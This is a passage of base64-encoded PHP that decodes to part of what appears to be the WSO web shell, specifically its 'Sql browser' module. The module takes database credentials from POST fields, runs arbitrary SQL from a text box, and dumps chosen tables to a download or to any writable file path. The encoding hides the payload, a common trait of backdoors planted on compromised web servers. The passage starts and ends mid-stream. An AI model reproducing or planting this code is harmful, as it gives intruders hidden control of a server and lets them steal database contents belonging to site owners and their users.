CAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiS09JOC1SIjoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfUE9TVFsnZmlsZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvcGxhaW4iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsndGJsJ10gYXMgJHYpICRkYi0+ZHVtcCgkdik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX1BPU1RbJ3RibCddIGFzICR2KSAkZGItPmR1bXAoJHYsICRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBkaWUoJzxzY3JpcHQ+YWxlcnQoIkVycm9yISBDYW4ndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICINCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KPGZ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BpZiAoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiV2luZG93cy0xMjUxIjoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJVVEYtOCI6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICJLT0k4LVUiOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAiY3A4NjYiOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPmxpc3REYnMoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInIC4gJHZhbHVlIC4gJyIgJyAuICgkdmFsdWUgPT0gJF9QT1NUWydzcWxfYmFzZSddID8gJ3NlbGVjdGVkJyA6ICcnKSAuICc+JyAuICR2YWx1ZSAuICc8L29wdGlvbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9zZWxlY3Q+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGVjaG8gJHRtcDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgZWNobyAkdG1wOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+DQoJCQkJPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5c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gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkaXRlbSA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkdmFsdWUgLiAnJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIiAuICR2YWx1ZSAuICInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPSJzdCgnIiAuICR2YWx1ZSAuICInLDEpIj4iIC4gJHZhbHVlIC4gIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pID8gJyZuYnNwOycgOiAiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2JyPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9ImRvd25sb2FkIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDEnXSA9ICdxdWVyeSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddID8gJF9QT1NUWydwMyddIDogMTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRudW0gPSAkZGItPmZldGNoKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VzID0gY2VpbCgkbnVtWyduJ10gLyAzMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoIiIgLiAkX1BPU1RbJ3AyJ10gLiAiIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+IiAuICRfUE9TVFsncDInXSAuICI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIG9mICRwYWdlcyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfUE9TVFsncDMnXSA+IDEpIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10gLSAxKSAuICIpJz4mbHQ7IFByZXY8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9QT1NUWydwMyddIDwgJHBhZ2VzKSBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddICsgMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfUE9TVFsndHlwZSddID09ICdwZ3NxbCcpICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10gLiAnIExJTUlUIDMwIE9GRlNFVCAnIC4gKCRfUE9TVFsncDMnXSAqIDMwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnIC4gJF9QT1NUWydwMiddIC4gJ2AgTElNSVQgJyAuICgkX1BPU1RbJ3AzJ10gKiAzMCkgLiAnLDMwJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZGItPnJlcyAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aXRsZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVtIGFzICRrZXkgPT4gJHZhbHVlKSBlY2hvICc8dGg+JyAuICRrZXkgLiAnPC90aD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSB0cnVlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAyOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJsJyAuICRsaW5lIC4gJyI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmUgPT0gMSA/IDIgOiAxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHZhbHVlID09IG51bGwpIGVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGVjaG8gJzx0ZD4nIC4gbmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKSAuICc8L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnIC4gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpIC4gJzwvZGl2Pic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT0icXVlcnkiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddICE9ICdsb2FkZmlsZScpKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX1BPU1RbJ3R5cGUnXSA9PSAnbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA